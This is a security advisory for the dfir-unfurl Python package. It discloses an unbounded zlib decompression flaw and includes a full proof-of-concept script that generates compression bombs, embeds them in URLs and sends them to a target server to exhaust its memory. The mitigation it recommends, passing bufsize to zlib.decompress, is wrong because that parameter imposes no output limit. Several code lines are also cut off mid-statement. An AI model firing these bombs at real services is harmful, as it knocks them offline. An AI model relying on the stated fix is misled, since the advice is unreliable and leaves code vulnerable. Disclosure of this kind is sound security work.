Unbounded zlib decompression allows decompression bomb DoS

Moderate **RyanDFIR** published **GHSA-h5qv-qjv4-pc5m** on Jan 28

Package

dfir-unfurl (pip)

Affected versions

<= 20250810

Patched versions

None

Description

Summary

The compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

- `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit.
- Inputs are accepted from URL components that match base64 patterns.
- Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`.
2. The script creates a base64-encoded zlib payload embedded in a URL.
3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory.
4. The script includes a `--test` mode but warns it can crash the service.

PoC Script

```python
#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} K
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed
```

```python
def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
```

```
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
```

```
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════╗
║          UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT       ║
╠═══════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
```

```
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")
```

```
    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()
```

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Severity

Moderate

CVE ID

No known CVE

Weaknesses

- CWE-400
- CWE-409

Credits

mobasi-team Reporter